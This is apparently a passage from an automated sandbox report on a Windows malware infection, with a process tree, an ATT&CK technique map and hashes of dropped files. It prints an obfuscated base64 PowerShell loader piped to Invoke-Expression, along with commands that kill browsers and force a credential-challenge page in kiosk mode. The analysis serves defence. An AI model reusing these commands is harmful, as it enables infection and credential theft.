ouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2992
      - C:\Users\Admin\AppData\Local\Temp\10370350101\u75a1_003.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370350101\u75a1_003.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2128
      - C:\Users\Admin\AppData\Local\Temp\10370360101\c7198f4a0e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370360101\c7198f4a0e.exe"
        6⤵
        Executes dropped EXE
        
        PID:2884
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2884 -s 64
        7⤵
        Loads dropped DLL
        
        PID:1212
      - C:\Users\Admin\AppData\Local\Temp\10370370101\8LfjZ9b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370370101\8LfjZ9b.exe"
        6⤵
        Executes dropped EXE
        
        PID:864
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 864 -s 44
        7⤵
        
        PID:276
      - C:\Users\Admin\AppData\Local\Temp\10370380101\8LfjZ9b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370380101\8LfjZ9b.exe"
        6⤵
        Executes dropped EXE
        
        PID:2392
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2392 -s 44
        7⤵
        
        PID:2744
      - C:\Users\Admin\AppData\Local\Temp\10370390101\30bed13d49.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370390101\30bed13d49.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1812
      - C:\Users\Admin\AppData\Local\Temp\10370400101\016815e188.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370400101\016815e188.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1868
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
        7⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:540
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef67d9758,0x7fef67d9768,0x7fef67d9778
        8⤵
        
        PID:2200
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        8⤵
        
        PID:1920
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1148 --field-trial-handle=1204,i,9901006135449207048,14982946927915905830,131072 /prefetch:2
        8⤵
        
        PID:916
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1496 --field-trial-handle=1204,i,9901006135449207048,14982946927915905830,131072 /prefetch:8
        8⤵
        
        PID:2112
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1604 --field-trial-handle=1204,i,9901006135449207048,14982946927915905830,131072 /prefetch:8
        8⤵
        
        PID:2424
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2136 --field-trial-handle=1204,i,9901006135449207048,14982946927915905830,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:2600
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2292 --field-trial-handle=1204,i,9901006135449207048,14982946927915905830,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:1508
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2388 --field-trial-handle=1204,i,9901006135449207048,14982946927915905830,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:2040
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1316 --field-trial-handle=1204,i,9901006135449207048,14982946927915905830,131072 /prefetch:2
        8⤵
        
        PID:1784
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
        7⤵
        Uses browser remote debugging
        
        PID:2512
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef5089758,0x7fef5089768,0x7fef5089778
        8⤵
        
        PID:2188
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        8⤵
        
        PID:3248
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1184 --field-trial-handle=1324,i,10109219278543512744,15563811086403563423,131072 /prefetch:2
        8⤵
        
        PID:3616
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1500 --field-trial-handle=1324,i,10109219278543512744,15563811086403563423,131072 /prefetch:8
        8⤵
        
        PID:3632
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1500 --field-trial-handle=1324,i,10109219278543512744,15563811086403563423,131072 /prefetch:8
        8⤵
        
        PID:3684
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2196 --field-trial-handle=1324,i,10109219278543512744,15563811086403563423,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:3756
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2624 --field-trial-handle=1324,i,10109219278543512744,15563811086403563423,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:4076
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2636 --field-trial-handle=1324,i,10109219278543512744,15563811086403563423,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:3116
      - C:\Users\Admin\AppData\Local\Temp\10370410101\8620f37bab.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370410101\8620f37bab.exe"
        6⤵
        
        PID:2060
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        Kills process with taskkill
        
        PID:2240
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        Kills process with taskkill
        
        PID:2804
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        Kills process with taskkill
        
        PID:2516
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        Kills process with taskkill
        
        PID:324
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        Kills process with taskkill
        
        PID:916
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:1108
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        
        PID:1248
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.0.1755028919\1510695150" -parentBuildID 20221007134813 -prefsHandle 1220 -prefMapHandle 1212 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4a846e50-ddeb-4ff9-a0a5-54ec88751ba7} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 1296 103cf858 gpu
        9⤵
        
        PID:1020
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.1.460996206\1969016060" -parentBuildID 20221007134813 -prefsHandle 1488 -prefMapHandle 1484 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3bd7b8d1-0ccd-4a7e-b551-94a4aac69c4d} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 1500 e73958 socket
        9⤵
        
        PID:592
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.2.417407450\958964407" -childID 1 -isForBrowser -prefsHandle 2056 -prefMapHandle 2052 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 856 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {736209f3-d457-4331-b0cd-2eca4d516d38} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 2068 1a0d6558 tab
        9⤵
        
        PID:2656
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.3.1074915480\140230864" -childID 2 -isForBrowser -prefsHandle 2892 -prefMapHandle 2888 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 856 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6316a3f5-0f13-47fe-8681-ca15542b4ce5} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 2916 1b158758 tab
        9⤵
        
        PID:2084
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.4.777066\574143937" -childID 3 -isForBrowser -prefsHandle 3560 -prefMapHandle 3300 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 856 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {073e251e-0d0c-42df-a878-319f1bddd57e} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 3628 1ecb9058 tab
        9⤵
        
        PID:2184
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.5.2047944011\817235163" -childID 4 -isForBrowser -prefsHandle 3712 -prefMapHandle 3724 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 856 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ec773f55-2023-4309-8b22-7e5ebb5449de} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 3816 1ecb7258 tab
        9⤵
        
        PID:1508
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1248.6.795121550\1367734621" -childID 5 -isForBrowser -prefsHandle 3856 -prefMapHandle 3860 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 856 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {dd28413d-2ae8-4176-8e86-d462063f514d} 1248 "\\.\pipe\gecko-crash-server-pipe.1248" 3844 1ecb9658 tab
        9⤵
        
        PID:2760
      - C:\Users\Admin\AppData\Local\Temp\10370420101\38e322efae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10370420101\38e322efae.exe"
        6⤵
        
        PID:2932

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2236

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:3856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Authentication Process

T1556

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Temp\Uy1SNL2Yc.hta

Filesize
779B

MD5
39c8cd50176057af3728802964f92d49

SHA1
68fc10a10997d7ad00142fc0de393fe3500c8017

SHA256
f685edf8437c0b505f5e366d8b1cb79e7770361cc4906240e7f8c8ad32c94e84

SHA512
cf563b2b5a3553acf3a91298936b904abf87620c2fc582bcdb45dec5d4b877bef5ae81feae4b741e1aee1a916e543b5f6914d9c494d2aa33bc6f15c6fc904cc6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Guest Profile\Site Characteristics Database\000002.dbtmp

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Guest Profile\Site Characteristics Database\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\System Profile\Site Characteristics Database\000004.dbtmp

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\System Profile\Site Characteristics Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5GWW47WY\dll[1]

Filesize
236KB

MD5
2ecb51ab00c5f340380ecf849291dbcf

SHA1
1a4dffbce2a4ce65495ed79eab42a4da3b660931

SHA256
f1b3e0f2750a9103e46a6a4a34f1cf9d17779725f98042cc2475ec66484801cf

SHA512
e241a48eafcaf99187035f0870d24d74ae97fe84aaadd2591cceea9f64b8223d77cfb17a038a58eadd3b822c5201a6f7494f26eea6f77d95f77f6c668d088e6b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5GWW47WY\success[1].htm

Filesize
1B

MD5
cfcd208495d565ef66e7dff9f98764da

SHA1
b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

SHA256
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

SHA512
31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xmhyv50e.default-release\activity-stream.discovery_stream.json.tmp

Filesize
23KB

MD5
6e2c32d30c17c674f7f87e85830b5a53

SHA1
591a0e35000fd0ab0eec24cf19e78142da313529

SHA256
4abe02d46c5a2bd86eba8d33ace837bbf5d6e1f79bf5fbfe0bf72152fc5fcbce

SHA512
e7da18de6e7e279f5a666ad34b5a38647ff51c9638a20c20eee2f4445cd71c51f1c1ba0503aecab7f60e6084eaa0e3f3e58fa27b52b009b7c369cede0555134d

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xmhyv50e.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Filesize
15KB

MD5
96c542dec016d9ec1ecc4dddfcbaac66

SHA1
6199f7648bb744efa58acf7b96fee85d938389e4

SHA256
7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

SHA512
cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

Download Submit
C:\Users\Admin\AppData\Local\Temp\10044090101\b09088c50f.exe

Filesize
4.3MB

MD5
2f5d78f5431eee46c08fa92ab7789d28

SHA1
b5c437e1399320547aef3c266f15a5336856ba73

SHA256
22a7db1622c57d0cda8d2f66549fafeeddefb17f2cd4f55a6569d37e81ab1c2f

SHA512
2530704e85a3b540c5aab2e7c9abc5fd2e94d7b4d9bb3ed8874460d10cd289d9819f5689cb21100e8411e48bb15aa011e40b33191ca22b13fb51393441187f5c

Download Submit
C:\Users\Admin\AppData\Local\Temp\10369870101\b4b69140ca.exe

Filesize
938KB

MD5
e81513a294bf729c05c1764d8c5b770d

SHA1
8f1b6946156125a4d77395a82bd04416279f07e2

SHA256
5227a4a497d8e9a352a516cc6aeb818b008571a22a652932b71dc27602136039

SHA512
66bb566c6d1ae76cb0556145c275cc2f93fb84526be9da1a962b80c4e685e4c83adc1b534a69538f49ce6f15a7b8e0980872a55d69979b03ac57e393ce39fffa

Download Submit
C:\Users\Admin\AppData\Local\Temp\10369880121\am_no.cmd

Filesize
1KB

MD5
cedac8d9ac1fbd8d4cfc76ebe20d37f9

SHA1
b0db8b540841091f32a91fd8b7abcd81d9632802

SHA256
5e951726842c371240a6af79d8da7170180f256df94eac5966c07f04ef4d120b

SHA512
ce383ffef8c3c04983e752b7f201b5df2289af057e819cdf7310a55a295790935a70e6a0784a6fd1d6898564a3babab1ffcfbaa0cc0d36e5e042adeb3c293fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\10369910101\6lV7WRt.exe

Filesize
854KB

MD5
9b0da755e79732465e6d4c9a3ea85982

SHA1
1dd53f9bf2d81d3a592714c70633511813efbc22

SHA256
b58f1ab7f62b8a2f12f3e09e6507ac0a9f8bea514fb02b4204349f5b6d426abd

SHA512
7676026e8b3a8cb41c30295eec7e1d83992ae16a21f2ad427c2cbc4668cf7e96ac3e8ac10d7da7d7e3389dbc8d889391596928d4e3895cfcc5cd43619086ca55

Download Submit
C:\Users\Admin\AppData\Local\Temp\10370040101\amnew.exe

Filesize
858KB

MD5
d8337f0c5d0d6f1d5cd1944eaf14df1d

SHA1
e5c226a6333e567cc1d17210d94efd6b6b33eb6b

SHA256
a9b8b4d676b5e416686e37a4314d549a79ae8a84ce8f98e8e8458b10b2c8fc21

SHA512
d1579ad161a077b7a7edac0ea202974e51fe092271601392470c36ca17b9fa1d9c2e4d9b5690039dc42b583e2df330261d56ae3c34021f3f8a5a097f390dd8a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\10370040101\amnew.exe

Filesize
429KB

MD5
22892b8303fa56f4b584a04c09d508d8

SHA1
e1d65daaf338663006014f7d86eea5aebf142134

SHA256
87618787e1032bbf6a6ca8b3388ea3803be20a49e4afaba1df38a6116085062f

SHA512
852dcc1470f33bc601a814f61a37c1f5a10071ff3354f101be0ef9aa5ac62b4433a732d02acd4247c2a1819fef9adef7dd6722ee8eb9e8501bac033eb877c744

Download Submit
C:\Users\Admin\AppData\Local\Temp\10370210101\632e0ac6b2.exe

Filesize
1.8MB

MD5
392662d2a47fbb9dd18ae01dcdef0e39

SHA1
e6ddaaadb3a3566574ed54957132a836da7a2c3f

SHA256
a870fc7d073e4716b038a4e9d3973be9f74aea60b9c04f0be262e2b3239a7681

SHA512
4ac1127968896f62a38aed74bff25d643f3d2485215faabc28970500415aa9cdfd5e69e11d70275eb858e147fa9d3482efc343dd50aa857131269c74cb9985f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\10370260101\2071459991.exe

Filesize
4.5MB

MD5
7685180f145380273eebd842dbe368cb

SHA1
b9df31c6c803542c92c9a7abd30118bcdfa16f11

SHA256
2ff74404fb698a9767aff73740473f60ae115a952b3f45c4ebde60b58c1095f5

SHA512
eeaf52433019c87c4b9f029e106d42b43916f67d9b9baf1bbea865ec9048477f1e55483f9b9450928f2953513ee4f220befa1b609f466ab316cf9129e67a10d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\10370290101\Rm3cVPI.exe

Filesize
354KB

MD5
27f0df9e1937b002dbd367826c7cfeaf

SHA1
7d66f804665b531746d1a94314b8f78343e3eb4f

SHA256
aff35e23562fc36f4b8f6b5bf95eb5dbf11e8af6674e3212aa0c4077ddfe8209

SHA512
